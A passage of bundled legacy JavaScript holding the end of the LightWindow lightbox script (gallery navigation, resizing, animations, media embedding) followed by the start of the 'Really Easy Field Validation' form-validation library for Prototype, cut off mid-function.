						 	if (this.imageCount == 0) {
								this._processWindow();
						 	}
						}
					
					}.bind(this, i), 1);			
				}


			break;
		
		case 'media' :			
		
			var current = 0;
			this.resizeTo.height = this.resizeTo.width = 0;

			// If there is a gallery get it
			if (gallery = this._getGalleryInfo(this.element.rel)) {	
				for (current = 0; current < this.galleries[gallery[0]][gallery[1]].length; current++) {
					if (this.contentToFetch.indexOf(this.galleries[gallery[0]][gallery[1]][current].href) > -1) {
						break;
					}
				}
				
				if (this.galleries[gallery[0]][gallery[1]][current-1]) {
					this.navigationObservers.previous = this.galleries[gallery[0]][gallery[1]][current-1];
				} else {
					this.navigationObservers.previous = false;
				}
				if (this.galleries[gallery[0]][gallery[1]][current+1]) {
					this.navigationObservers.next = this.galleries[gallery[0]][gallery[1]][current+1];
				} else {
					this.navigationObservers.next = false;
				}
		
				this.activeGallery = true;
			} else {
				this.navigationObservers.previous = false;
				this.navigationObservers.next = false;
				
				this.activeGallery = false;
			}
		

			if (gallery && this.galleries[gallery[0]][gallery[1]][current]) {
				this.contentToFetch = this.galleries[gallery[0]][gallery[1]][current].href;

				this.galleryLocation = {current: current+1, total: this.galleries[gallery[0]][gallery[1]].length};
				
				if (!this.galleries[gallery[0]][gallery[1]][current+1]) {
					$('lightwindow_next').setStyle({
						display: 'none'
					});
				} else {
					$('lightwindow_next').setStyle({
						display: 'block'
					});
					$('lightwindow_next_title').innerHTML = this.galleries[gallery[0]][gallery[1]][current+1].title;
				}
				
				if (!this.galleries[gallery[0]][gallery[1]][current-1]) {
					$('lightwindow_previous').setStyle({
						display: 'none'
					});
				} else {
					$('lightwindow_previous').setStyle({
						display: 'block'
					});
					$('lightwindow_previous_title').innerHTML = this.galleries[gallery[0]][gallery[1]][current-1].title;
				}
			}
			
			if (this._getParameter('lightwindow_iframe_embed')) {
				this.resizeTo.height = this.dimensions.viewport.height;
				this.resizeTo.width = this.dimensions.viewport.width;	
			} else {
				this.resizeTo.height = this._getParameter('lightwindow_height');
				this.resizeTo.width = this._getParameter('lightwindow_width');				
			}
			
			this._processWindow();
			
			break;

		case 'external' :		

			this._appendIframe('auto');

			this.resizeTo.height = this.dimensions.viewport.height;
			this.resizeTo.width = this.dimensions.viewport.width;
						
			this._processWindow();

			break;
				
		case 'page' :	
			
			var newAJAX = new Ajax.Request(
				this.contentToFetch, {
					method: 'get', 
					parameters: '', 
					onComplete: function(response) {
						$('lightwindow_contents').innerHTML += response.responseText;
						this.resizeTo.height = $('lightwindow_contents').scrollHeight+(this.options.contentOffset.height);
						this.resizeTo.width = $('lightwindow_contents').scrollWidth+(this.options.contentOffset.width);
						this._processWindow();
					}.bind(this)
				}
			);
			
			break;
			
		case 'inline' : 
		
			var content = this.contentToFetch;
			if (content.indexOf('?') > -1) {
				content = content.substring(0, content.indexOf('?'));
			}
			content = content.substring(content.indexOf('#')+1);
			
			new Insertion.Top($('lightwindow_contents'), $(content).innerHTML);
			
			this.resizeTo.height = $('lightwindow_contents').scrollHeight+(this.options.contentOffset.height);
			this.resizeTo.width = $('lightwindow_contents').scrollWidth+(this.options.contentOffset.width);
			
			this._toggleTroubleElements('hidden', true); 			
			this._processWindow();
			
			break;
			
		default : 
			throw("Page Type could not be determined, please amend this lightwindow URL "+this.contentToFetch);
			break;
		}
	},
	//
	//  Resize the Window to fit the viewport if necessary
	//
	_resizeWindowToFit : function() {
		if (this.resizeTo.height+this.dimensions.cruft.height > this.dimensions.viewport.height) {
			var heightRatio = this.resizeTo.height/this.resizeTo.width;
			this.resizeTo.height = this.dimensions.viewport.height-this.dimensions.cruft.height-(2*this.options.viewportPadding);
			// We only care about ratio's with this window type			
			if (this.windowType == 'image' || (this.windowType == 'media' && !this._getParameter('lightwindow_iframe_embed'))) {
				this.resizeTo.width = this.resizeTo.height/heightRatio;
				$('lightwindow_data_slide_inner').setStyle({
					width: this.resizeTo.width+'px'
				});			
			}
		} 
		if (this.resizeTo.width+this.dimensions.cruft.width > this.dimensions.viewport.width) {
			var widthRatio = this.resizeTo.width/this.resizeTo.height;
			this.resizeTo.width = this.dimensions.viewport.width-2*this.dimensions.cruft.width-(2*this.options.viewportPadding);
			// We only care about ratio's with this window type
			if (this.windowType == 'image' || (this.windowType == 'media' && !this._getParameter('lightwindow_iframe_embed'))) {
				this.resizeTo.height = this.resizeTo.width/widthRatio;
				$('lightwindow_data_slide_inner').setStyle({
					height: this.resizeTo.height+'px'
				});
			}
		}
			
	},
	//
	//  Set the Window to a preset size
	//
	_presetWindowSize : function() {
		if (this._getParameter('lightwindow_height')) {
			this.resizeTo.height = parseFloat(this._getParameter('lightwindow_height'));
		}
		if (this._getParameter('lightwindow_width')) {
			this.resizeTo.width = parseFloat(this._getParameter('lightwindow_width'));
		}
	},
	//
	//  Process the Window
	//
	_processWindow : function() {
		// Clean out our effects
		this.dimensions.dataEffects = [];

		// Set up the data-slide if we have caption information
		if (this.element.caption || this.element.author || (this.activeGallery && this.options.showGalleryCount)) {
			if (this.element.caption) {
				$('lightwindow_data_caption').innerHTML = this.element.caption;
				$('lightwindow_data_caption').setStyle({
					display: 'block'
				});
			} else {
				$('lightwindow_data_caption').setStyle({
					display: 'none'
				});				
			}
			if (this.element.author) {
				$('lightwindow_data_author').innerHTML = this.element.author;
				$('lightwindow_data_author_container').setStyle({
					display: 'block'
				});
			} else {
				$('lightwindow_data_author_container').setStyle({
					display: 'none'
				});				
			}
			if (this.activeGallery && this.options.showGalleryCount) {
				$('lightwindow_data_gallery_current').innerHTML = this.galleryLocation.current;
				$('lightwindow_data_gallery_total').innerHTML = this.galleryLocation.total;
				$('lightwindow_data_gallery_container').setStyle({
					display: 'block'
				});
			} else {
				$('lightwindow_data_gallery_container').setStyle({
					display: 'none'
				});				
			}

			$('lightwindow_data_slide_inner').setStyle({
				width: this.resizeTo.width+'px',
				height: 'auto',
				visibility: 'visible',
				display: 'block'
			});
			$('lightwindow_data_slide').setStyle({
				height: $('lightwindow_data_slide').getHeight()+'px',
				width: '1px',
				overflow: 'hidden',
				display: 'block'
			});
		} else {
			$('lightwindow_data_slide').setStyle({
				display: 'none',
				width: 'auto'
			});
			$('lightwindow_data_slide_inner').setStyle({
				display: 'none',
				visibility: 'hidden',
				width: this.resizeTo.width+'px',
				height: '0px'
			});
		}
				
		if (this.element.title != 'null') {		
			$('lightwindow_title_bar_title').innerHTML = this.element.title;
		} else {
			$('lightwindow_title_bar_title').innerHTML = '';
		}
		
		var originalContainerDimensions = {height: $('lightwindow_container').getHeight(), width: $('lightwindow_container').getWidth()};
		// Position the window
    	$('lightwindow_container').setStyle({
			height: 'auto',
			// We need to set the width to a px not auto as opera has problems with it
			width: $('lightwindow_container').getWidth()+this.options.contentOffset.width-(this.windowActive ? this.options.contentOffset.width : 0)+'px'
		});
		var newContainerDimensions = {height: $('lightwindow_container').getHeight(), width: $('lightwindow_container').getWidth()};
 		
		// We need to record the container dimension changes
		this.containerChange = {height: originalContainerDimensions.height-newContainerDimensions.height, width: originalContainerDimensions.width-newContainerDimensions.width};

		// Get out general dimensions
		this.dimensions.container = {height: $('lightwindow_container').getHeight(), width: $('lightwindow_container').getWidth()};
		this.dimensions.cruft = {height: this.dimensions.container.height-$('lightwindow_contents').getHeight()+this.options.contentOffset.height, width: this.dimensions.container.width-$('lightwindow_contents').getWidth()+this.options.contentOffset.width};
		
		// Set Sizes if we need too
		this._presetWindowSize();
		this._resizeWindowToFit(); // Even if the window is preset we still don't want it to go outside of the viewport

		if (!this.windowActive) {
			// Position the window
		   	$('lightwindow_container').setStyle({
				left: -(this.dimensions.container.width/2)+'px',
				top: -(this.dimensions.container.height/2)+'px'
			});
		}
	   	$('lightwindow_container').setStyle({
			height: this.dimensions.container.height+'px',
			width: this.dimensions.container.width+'px'
		});
		
		// We are ready, lets show this puppy off!
		this._displayLightWindow('block', 'visible');
		this._animateLightWindow();
	},
	//
	//  Fire off our animation handler
	//
	_animateLightWindow : function() {
		if (this.options.animationHandler) {
			this.options.animationHandler().bind(this);
		} else {
			this._defaultAnimationHandler();
		}
	},
	//
	//  Fire off our transition handler
	//
	_handleNavigation : function(display) {
		if (this.options.navigationHandler) {
			this.options.navigationHandler().bind(this, display);
		} else {
			this._defaultDisplayNavigation(display);
		}
	},
	//
	//  Fire off our transition handler
	//
	_handleTransition : function() {
		if (this.options.transitionHandler) {
			this.options.transitionHandler().bind(this);
		} else {
			this._defaultTransitionHandler();
		}
	},
	//
	//  Handle the finish of the window animation
	// 
	_handleFinalWindowAnimation : function(delay) {
		if (this.options.finalAnimationHandler) {
			this.options.finalAnimationHandler().bind(this, delay);
		} else {
			this._defaultfinalWindowAnimationHandler(delay);
		}		
	},
	//
	//  Handle the gallery Animation
	// 
	_handleGalleryAnimation : function(list) {
		if (this.options.galleryAnimationHandler) {
			this.options.galleryAnimationHandler().bind(this, list);
		} else {
			this._defaultGalleryAnimationHandler(list);
		}		
	},
	//
	//  Display the navigation 
	//
	_defaultDisplayNavigation : function(display) {
		if (display) {
			$('lightwindow_navigation').setStyle({
				display: 'block',
				height: $('lightwindow_contents').getHeight()+'px',
				width: '100%',
				marginTop: this.options.dimensions.titleHeight+'px'
			});			
		} else {
			$('lightwindow_navigation').setStyle({
				display: 'none',
				height: 'auto',
				width: 'auto'
			});			
		}
	},
	//
	//  This is the default animation handler for LightWindow
	//
	_defaultAnimationHandler : function() {	
		// Now that we have figures out the cruft lets make the caption go away and add its effects
		if (this.element.caption || this.element.author || (this.activeGallery && this.options.showGalleryCount)) {
			$('lightwindow_data_slide').setStyle({
				display: 'none',
				width: 'auto'
			});
			this.dimensions.dataEffects.push(
				new Effect.SlideDown('lightwindow_data_slide', {sync: true}),
				new Effect.Appear('lightwindow_data_slide', {sync: true, from: 0.0, to: 1.0})
			);
		}

		// Set up the Title if we have one
		$('lightwindow_title_bar_inner').setStyle({
			height: '0px',
			marginTop: this.options.dimensions.titleHeight+'px'
		});
		
		// We always want the title bar as well
		this.dimensions.dataEffects.push(
			new Effect.Morph('lightwindow_title_bar_inner', {sync: true, style: {height: this.options.dimensions.titleHeight+'px', marginTop: '0px'}}),
		 	new Effect.Appear('lightwindow_title_bar_inner', {sync: true, from: 0.0, to: 1.0})
		);		
		
		if (!this.options.hideGalleryTab) {
			this._handleGalleryAnimation(false);
			if ($('lightwindow_galleries_tab_container').getHeight() == 0) {
				this.dimensions.dataEffects.push(
					new Effect.Morph('lightwindow_galleries_tab_container', {sync: true, style: {height: '20px', marginTop: '0px'}})
				);
				$('lightwindow_galleries').setStyle({
					width: '0px'
				});
			}
		}
		
		var resized = false;
		var ratio = this.dimensions.container.width-$('lightwindow_contents').getWidth()+this.resizeTo.width+this.options.contentOffset.width;
		if (ratio != $('lightwindow_container').getWidth()) {
			new Effect.Parallel([
					new Effect.Scale('lightwindow_contents', 100*(this.resizeTo.width/$('lightwindow_contents').getWidth()), {scaleFrom: 100*($('lightwindow_contents').getWidth()/($('lightwindow_contents').getWidth()+(this.options.contentOffset.width))), sync: true,  scaleY: false, scaleContent: false}),
					new Effect.Scale('lightwindow_container', 100*(ratio/(this.dimensions.container.width)), {sync: true, scaleY: false, scaleFromCenter: true, scaleContent: false})
				], {
					duration: this.duration, 
					delay: 0.25,
					queue: {position: 'end', scope: 'lightwindowAnimation'}
				}
			);		
		}
		
		ratio = this.dimensions.container.height-$('lightwindow_contents').getHeight()+this.resizeTo.height+this.options.contentOffset.height;
		if (ratio != $('lightwindow_container').getHeight()) {
			new Effect.Parallel([
					new Effect.Scale('lightwindow_contents', 100*(this.resizeTo.height/$('lightwindow_contents').getHeight()), {scaleFrom: 100*($('lightwindow_contents').getHeight()/($('lightwindow_contents').getHeight()+(this.options.contentOffset.height))), sync: true, scaleX: false, scaleContent: false}),
					new Effect.Scale('lightwindow_container', 100*(ratio/(this.dimensions.container.height)), {sync: true, scaleX: false, scaleFromCenter: true, scaleContent: false})
				], {
					duration: this.duration, 
					afterFinish: function() {				
						if (this.dimensions.dataEffects.length > 0) {
							if (!this.options.hideGalleryTab) {
								$('lightwindow_galleries').setStyle({
									width: this.resizeTo.width+'px'
								});
							}
							new Effect.Parallel(this.dimensions.dataEffects, {
									duration: this.duration,
									afterFinish: function() {
										this._finishWindow();
									}.bind(this),
									queue: {position: 'end', scope: 'lightwindowAnimation'} 
								}
							);
						}
					}.bind(this), 
					queue: {position: 'end', scope: 'lightwindowAnimation'} 
				}
			);
			resized = true;
		}
		
		// We need to do our data effect since there was no resizing
		if (!resized && this.dimensions.dataEffects.length > 0) {	
			new Effect.Parallel(this.dimensions.dataEffects, {
					duration: this.duration,
					beforeStart: function() {
						if (!this.options.hideGalleryTab) {
							$('lightwindow_galleries').setStyle({
								width: this.resizeTo.width+'px'
							});
						}
						if (this.containerChange.height != 0 || this.containerChange.width != 0) {
							new Effect.MoveBy('lightwindow_container', this.containerChange.height, this.containerChange.width, {transition: Effect.Transitions.sinoidal});
						}
					}.bind(this),			
					afterFinish: function() {
						this._finishWindow();
					}.bind(this),
					queue: {position: 'end', scope: 'lightwindowAnimation'} 
				}
			);
		}			
		
	},
	//
	//  Finish up Window Animation
	//
	_defaultfinalWindowAnimationHandler : function(delay) {
		if (this.windowType == 'media' || this._getParameter('lightwindow_loading_animation')) {	
			// Because of major flickering with the overlay we just hide it in this case
			Element.hide('lightwindow_loading');
			this._handleNavigation(this.activeGallery);
			this._setStatus(false);
		} else {
			Effect.Fade('lightwindow_loading', {
				duration: 0.75,
				delay: 1.0, 
				afterFinish: function() {
					// Just in case we need some scroll goodness (this also avoids the swiss cheese effect)
					if (this.windowType != 'image' && this.windowType != 'media' && this.windowType != 'external') {
						$('lightwindow_contents').setStyle({
							overflow: 'auto'
						});
					}
					this._handleNavigation(this.activeGallery);
					this._defaultGalleryAnimationHandler();
					this._setStatus(false);
				}.bind(this),
				queue: {position: 'end', scope: 'lightwindowAnimation'}
			});
		}
	},
	//
	//  Handle the gallery Animation
	//
	_defaultGalleryAnimationHandler : function(list) {
		if (this.activeGallery) {
			$('lightwindow_galleries').setStyle({
				display: 'block',
				marginBottom: $('lightwindow_data_slide').getHeight()+this.options.contentOffset.height/2+'px'
			});
			$('lightwindow_navigation').setStyle({
				height: $('lightwindow_contents').getHeight()-20+'px'
			});
		} else {
			$('lightwindow_galleries').setStyle({
				display: 'none'
			});	
			$('lightwindow_galleries_tab_container').setStyle({
				height: '0px',
				marginTop: '20px'
			});
			$('lightwindow_galleries_list').setStyle({
				height: '0px'
			});
			return false;
		}
		
		if (list) {
			if ($('lightwindow_galleries_list').getHeight() == 0) {
				var height = $('lightwindow_contents').getHeight()*0.80;
				$('lightwindow_galleries_tab_span').className = 'down';
			} else {
				var height = 0;
				$('lightwindow_galleries_tab_span').className = 'up';
			}

			new Effect.Morph('lightwindow_galleries_list', {
				duration: this.duration,
				transition: Effect.Transitions.sinoidal,
				style: {height: height+'px'},
				beforeStart: function() {
					$('lightwindow_galleries_list').setStyle({
						overflow: 'hidden'
					});					
				},
				afterFinish: function() {
					$('lightwindow_galleries_list').setStyle({
						overflow: 'auto'
					});
				},
				queue: {position: 'end', scope: 'lightwindowAnimation'}
			});	
		}
		
		
	},
	//
	//  Default Transition Handler
	//
	_defaultTransitionHandler : function() {
		// Clean out our effects
		this.dimensions.dataEffects = [];

		// Now that we have figures out the cruft lets make the caption go away and add its effects
		if ($('lightwindow_data_slide').getStyle('display') != 'none') {
			this.dimensions.dataEffects.push(
				new Effect.SlideUp('lightwindow_data_slide', {sync: true}),
				new Effect.Fade('lightwindow_data_slide', {sync: true, from: 1.0, to: 0.0})
			);
		}
		
		if (!this.options.hideGalleryTab) {
			if ($('lightwindow_galleries').getHeight() != 0 && !this.options.hideGalleryTab) {
				this.dimensions.dataEffects.push(
					new Effect.Morph('lightwindow_galleries_tab_container', {sync: true, style: {height: '0px', marginTop: '20px'}})
				);
			}
			
			if ($('lightwindow_galleries_list').getHeight() != 0) {
				$('lightwindow_galleries_tab_span').className = 'up';
				this.dimensions.dataEffects.push(
					new Effect.Morph('lightwindow_galleries_list', {
						sync: true, 
						style: {height: '0px'},
						transition: Effect.Transitions.sinoidal,
						beforeStart: function() {
							$('lightwindow_galleries_list').setStyle({
								overflow: 'hidden'
							});					
						},
						afterFinish: function() {
							$('lightwindow_galleries_list').setStyle({
								overflow: 'auto'
							});
						}
					})
				);
			}
		}
		
		// We always want the title bar as well
		this.dimensions.dataEffects.push(
			new Effect.Morph('lightwindow_title_bar_inner', {sync: true, style: {height: '0px', marginTop: this.options.dimensions.titleHeight+'px'}}),
		 	new Effect.Fade('lightwindow_title_bar_inner', {sync: true, from: 1.0, to: 0.0})
		);

		new Effect.Parallel(this.dimensions.dataEffects, {
				duration: this.duration,
				afterFinish: function() {
					this._loadWindow();
				}.bind(this),
				queue: {position: 'end', scope: 'lightwindowAnimation'} 
			}
		);	
	},
	//
	//	Default Form handler for LightWindow
	//
	_defaultFormHandler : function(e) {
		var element = Event.element(e).parentNode;
		var parameterString = Form.serialize(this._getParameter('lightwindow_form', element.getAttribute('params')));
		if (this.options.formMethod == 'post') {
			var newAJAX = new Ajax.Request(element.href, { 
				method: 'post', 
				postBody: parameterString, 
				onComplete: this.openWindow.bind(this, element)
			});
		} else if (this.options.formMethod == 'get') {
			var newAJAX = new Ajax.Request(element.href, { 
				method: 'get', 
				parameters: parameterString, 
				onComplete: this.openWindow.bind(this, element)
			});
		}
	},
	// 
	//  Wrap everything up
	//
	_finishWindow : function() {
		if (this.windowType == 'external') {
			// We set the externals source here because it allows for a much smoother animation
			$('lightwindow_iframe').setAttribute('src', this.element.href);
			this._handleFinalWindowAnimation(1);	
		} else if (this.windowType == 'media') {

			var outerObject = document.createElement('object');
			outerObject.setAttribute('classid', this.options.classids[this._fileExtension(this.contentToFetch)]);
			outerObject.setAttribute('codebase', this.options.codebases[this._fileExtension(this.contentToFetch)]);
			outerObject.setAttribute('id', 'lightwindow_media_primary');
			outerObject.setAttribute('name', 'lightwindow_media_primary');
			outerObject.setAttribute('width', this.resizeTo.width);
			outerObject.setAttribute('height', this.resizeTo.height);
			outerObject = this._addParamToObject('movie', this.contentToFetch, outerObject);
			outerObject = this._addParamToObject('src', this.contentToFetch, outerObject);
			outerObject = this._addParamToObject('controller', 'true', outerObject);
			outerObject = this._addParamToObject('wmode', 'transparent', outerObject);
			outerObject = this._addParamToObject('cache', 'false', outerObject);
			outerObject = this._addParamToObject('quality', 'high', outerObject);

			if (!Prototype.Browser.IE) {
				var innerObject = document.createElement('object');
				innerObject.setAttribute('type', this.options.mimeTypes[this._fileExtension(this.contentToFetch)]);
				innerObject.setAttribute('data', this.contentToFetch);
				innerObject.setAttribute('id', 'lightwindow_media_secondary');
				innerObject.setAttribute('name', 'lightwindow_media_secondary');
				innerObject.setAttribute('width', this.resizeTo.width);
				innerObject.setAttribute('height', this.resizeTo.height);
				innerObject = this._addParamToObject('controller', 'true', innerObject);
				innerObject = this._addParamToObject('wmode', 'transparent', innerObject);
				innerObject = this._addParamToObject('cache', 'false', innerObject);
				innerObject = this._addParamToObject('quality', 'high', innerObject);
			
				outerObject.appendChild(innerObject);
			}	
			
			if (this._getParameter('lightwindow_iframe_embed')) {
				this._appendIframe('no');
				this._writeToIframe(this._convertToMarkup(outerObject, 'object'));
			} else {
				this._appendObject(outerObject, 'object', $('lightwindow_contents'));
			}

			this._handleFinalWindowAnimation(0);
		} else {
			this._handleFinalWindowAnimation(0);
		}

		// Initialize any actions
		this._setupActions();
	}
}

/*-----------------------------------------------------------------------------------------------*/

Event.observe(window, 'load', lightwindowInit, false);

//
//	Set up all of our links
//
var myLightWindow = null;
function lightwindowInit() {
	myLightWindow = new lightwindow();
}
/*
* Really easy field validation with Prototype
* http://tetlaw.id.au/view/javascript/really-easy-field-validation
* Andrew Tetlaw
* Version 1.5.4.1 (2007-01-05)
*
* Copyright (c) 2007 Andrew Tetlaw
* Permission is hereby granted, free of charge, to any person
* obtaining a copy of this software and associated documentation
* files (the "Software"), to deal in the Software without
* restriction, including without limitation the rights to use, copy,
* modify, merge, publish, distribute, sublicense, and/or sell copies
* of the Software, and to permit persons to whom the Software is
* furnished to do so, subject to the following conditions:
*
* The above copyright notice and this permission notice shall be
* included in all copies or substantial portions of the Software.
*
* THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND,
* EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF
* MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND
* NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS
* BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN
* ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN
* CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
* SOFTWARE.
*
*/
var Validator = Class.create();

Validator.prototype = {
    initialize : function(className, error, test, options) {
        if(typeof test == 'function'){
            this.options = $H(options);
            this._test = test;
        } else {
            this.options = $H(test);
            this._test = function(){return true};
        }
        this.error = error || 'Validation failed.';
        this.className = className;
    },
    test : function(v, elm) {
        return (this._test(v,elm) && this.options.all(function(p){
            return Validator.methods[p.key] ? Validator.methods[p.key](v,elm,p.value) : true;
        }));
    }
}
Validator.methods = {
    pattern : function(v,elm,opt) {return Validation.get('IsEmpty').test(v) || opt.test(v)},
    minLength : function(v,elm,opt) {return v.length >= opt},
    maxLength : function(v,elm,opt) {return v.length <= opt},
    min : function(v,elm,opt) {return v >= parseFloat(opt)},
    max : function(v,elm,opt) {return v <= parseFloat(opt)},
    notOneOf : function(v,elm,opt) {return $A(opt).all(function(value) {
        return v != value;
    })},
    oneOf : function(v,elm,opt) {return $A(opt).any(function(value) {
        return v == value;
    })},
    is : function(v,elm,opt) {return v == opt},
    isNot : function(v,elm,opt) {return v != opt},
    equalToField : function(v,elm,opt) {return v == $F(opt)},
    notEqualToField : function(v,elm,opt) {return v != $F(opt)},
    include : function(v,elm,opt) {return $A(opt).all(function(value) {
        return Validation.get(value).test(v,elm);
    })}
}

var Validation = Class.create();
Validation.defaultOptions = {
    onSubmit : true,
    stopOnFirst : false,
    immediate : false,
    focusOnError : true,
    useTitles : false,
    addClassNameToContainer: false,
    containerClassName: '.input-box',
    onFormValidate : function(result, form) {},
    onElementValidate : function(result, elm) {}
};

Validation.prototype = {
    initialize : function(form, options){
        this.form = $(form);
        if (!this.form) {
            return;
        }
        this.options = Object.extend({
            onSubmit : Validation.defaultOptions.onSubmit,
            stopOnFirst : Validation.defaultOptions.stopOnFirst,
            immediate : Validation.defaultOptions.immediate,
            focusOnError : Validation.defaultOptions.focusOnError,
            useTitles : Validation.defaultOptions.useTitles,
            onFormValidate : Validation.defaultOptions.onFormValidate,
            onElementValidate : Validation.defaultOptions.onElementValidate
        }, options || {});
        if(this.options.onSubmit) Event.observe(this.form,'submit',this.onSubmit.bind(this),false);
        if(this.options.immediate) {
            Form.getElements(this.form).each(function(input) { // Thanks Mike!
                if (input.tagName.toLowerCase() == 'select') {
                    Event.observe(input, 'blur', this.onChange.bindAsEventListener(this));
                }
                if (input.type.toLowerCase() == 'radio' || input.type.toLowerCase() == 'checkbox') {
                    Event.observe(input, 'click', this.onChange.bindAsEventListener(this));
                } else {
                    Event.observe(input, 'change', this.onChange.bindAsEventListener(this));
                }
            }, this);
        }
    },
    onChange : function (ev) {
        Validation.isOnChange = true;
        Validation.validate(Event.element(ev),{
                useTitle : this.options.useTitles,
                onElementValidate : this.options.onElementValidate
        });
        Validation.isOnChange = false;
    },
    onSubmit :  function(ev){
        if(!this.validate()) Event.stop(ev);
    },
    validate : function() {
        var result = false;
        var useTitles = this.options.useTitles;
        var callback = this.options.onElementValidate;
        try {
            if(this.options.stopOnFirst) {
                result = Form.getElements(this.form).all(function(elm) {
                    if (elm.hasClassName('local-validation') && !this.isElementInForm(elm, this.form)) {
                        return true;
                    }
                    return Validation.validate(elm,{useTitle : useTitles, onElementValidate : callback});
                }, this);
            } else {
                result = Form.getElements(this.form).collect(function(elm) {
                    if (elm.hasClassName('local-validation') && !this.isElementInForm(elm, this.form)) {
                        return true;
                    }
                    return Validation.validate(elm,{useTitle : useTitles, onElementValidate : callback});
                }, this).all();
            }
        } catch (e) {
        }
        if(!result && this.options.focusOnError) {
            try{
                Form.getElements(this.form).findAll(function(elm){return $(elm).hasClassName('validation-failed')}).first().focus()
            }
            catch(e){
            }
        }
        this.options.onFormValidate(result, this.form);
        return result;
    },
    reset : function() {
        Form.getElements(this.form).each(Validation.reset);
    },
    isElementInForm : function(elm, form) {
        var domForm = elm.up('form');
        if (domForm == form) {
            return true;
        }
        return false;
    }
}

Object.extend(Validation, {
    validate : function(elm, options){
        options = Object.extend({
            useTitle : false,
            onElementValidate : function(result, elm) {}
        }, options || {});
        elm = $(elm);

        var cn = $w(elm.className);
        return result = cn.all(function(value) {
            var test = Validation.test(value,elm,options.useTitle);
            options.onElementValidate(test, elm);
            return test;
        });
    },
    insertAdvice : function(elm, advice){
        var container = $(elm).up('.field-row');
        if(container){
            Element.insert(container, {after: advice});
        } else if (elm.up('td.value')) {
            elm.up('td.value').insert({bottom: advice});
        } else if (elm.advaiceContainer && $(elm.advaiceContainer)) {
            $(elm.advaiceContainer).update(advice);
        }
        else {
            switch (elm.type.toLowerCase()) {
                case 'checkbox':
                case 'radio':
                    var p = elm.parentNode;
                    if(p) {
                        Element.insert(p, {'bottom': advice});
                    } else {
                        Element.insert(elm, {'after': advice});
                    }
                    break;
                default:
                    Element.insert(elm, {'after': advice});
            }
        }
    },
    showAdvice : function(elm, advice, adviceName){
        if(!elm.advices){
            elm.advices = new Hash();
        }
        else{
            elm.advices.each(function(pair){
                if (!advice || pair.value.id != advice.id) {
                    // hide non-current advice after delay
                    this.hideAdvice(elm, pair.value);
                }
            }.bind(this));
        }
        elm.advices.set(adviceName, advice);
        if(typeof Effect == 'undefined') {
            advice.style.display = 'block';
        } else {
            if(!advice._adviceAbsolutize) {
                new Effect.Appear(advice, {duration : 1 });
            } else {
                Position.absolutize(advice);
                advice.show();
                advice.setStyle({
                    'top':advice._adviceTop,
                    'left': advice._adviceLeft,
                    'width': advice._adviceWidth,
                    'z-index': 1000
                });
                advice.addClassName('advice-absolute');
            }
        }
    },
    hideAdvice : function(elm, advice){
        if (advice != null) {
            new Effect.Fade(advice, {duration : 1, afterFinishInternal : function() {advice.hide();}});
        }
    },
    updateCallback : function(elm, status) {
        if (typeof elm.callbackFunction != 'undefined') {
            eval(elm.callbackFunction+'(\''+elm.id+'\',\''+status+'\')');
        }
    },
    ajaxError : function(elm, errorMsg) {
        var name = 'validate-ajax';
        var advice = Validation.getAdvice(name, elm);
        if (advice == null) {
            advice = this.createAdvice(name, elm, false, errorMsg);
        }
        this.showAdvice(elm, advice, 'validate-ajax');
        this.updateCallback(elm, 'failed');

        elm.addClassName('validation-failed');
        elm.addClassName('validate-ajax');
        if (Validation.defaultOptions.addClassNameToContainer && Validation.defaultOptions.containerClassName != '') {
            var container = elm.up(Validation.defaultOptions.containerClassName);
            if (container && this.allowContainerClassName(elm)) {
                container.removeClassName('validation-passed');
                container.addClassName('validation-error');
            }
        }
    },
    allowContainerClassName: function (elm) {
        if (elm.type == 'radio' || elm.type == 'checkbox') {
            return elm.hasClassName('change-container-classname');
        }

        return true;
    },
    test : function(name, elm, useTitle) {
        var v = Validation.get(name);
        var prop = '__advice'+name.camelize();
        try {
        if(Validation.isVisible(elm) && !v.test($F(elm), elm)) {
            //if(!elm[prop]) {
                var advice = Validation.getAdvice(name, elm);
                if (advice == null) {
                    advice = this.createAdvice(name, elm, useTitle);
                }
                this.showAdvice(elm, advice, name);
                this.updateCallback(elm, 'failed');
            //}
            elm[prop] = 1;
            if (!elm.advaiceContainer) {
                elm.removeClassName('validation-passed');
                elm.addClassName('validation-failed');
            }

           if (Validation.defaultOptions.addClassNameToContainer && Validation.defaultOptions.containerClassName != '') {
                var container = elm.up(Validation.defaultOptions.containerClassName);
                if (container && this.allowContainerClassName(elm)) {
                    container.removeClassName('validation-passed');
                    container.addClassName('validation-error');
                }
            }
            return false;
        } else {
            var advice = Validation.getAdvice(name, elm);
            this.hideAdvice(elm, advice);
            this.updateCallback(elm, 'passed');
            elm[prop] = '';
            elm.removeClassName('validation-failed');
            elm.addClassName('validation-passed');
            if (Validation.defaultOptions.addClassNameToContainer && Validation.defaultOptions.containerClassName != '') {
                var container = elm.up(Validation.defaultOptions.containerClassName);
                if (container && !container.down('.validation-failed') && this.allowContainerClassName(elm)) {
                    if (!Validation.get('IsEmpty').test(elm.value) || !this.isVisible(elm)) {
                        container.addClassName('validation-passed');
                    } else {
                        container.removeClassName('validation-passed');
                    }
                    container.removeClassName('validation-error');
                }
            }
            return true;
        }
        } catch(e) {
            throw(e)
        }
    },
    isVisible : function(elm) {
        while(elm.tagName != 'BODY') {
            if(!$(elm).visible()) return false;
            elm = elm.parentNode;
        }
        return true;
    },
    getAdvice : function(name, elm) {
        return $('advice-' + name + '-' + Validation.getElmID(elm)) || $('advice-' + Validation.getElmID(elm));
    },
    createAdvice : function(name, elm, useTitle, customError) {
        var v = Validation.get(name);
        var errorMsg = useTitle ? ((elm && elm.title) ? elm.title : v.error) : v.error;
        if (customError) {
            errorMsg = customError;
        }
        try {
            if (Translator){
                errorMsg = Translator.translate(errorMsg);
            }
        }
        catch(e){}

        advice = '<div class="validation-advice" id="advice-' + name + '-' + Validation.getElmID(elm) +'" style="display:none">' + errorMsg + '</div>'


        Validation.insertAdvice(elm, advice);
        advice = Validation.getAdvice(name, elm);
        if($(elm).hasClassName('absolute-advice')) {
            var dimensions = $(elm).getDimensions();
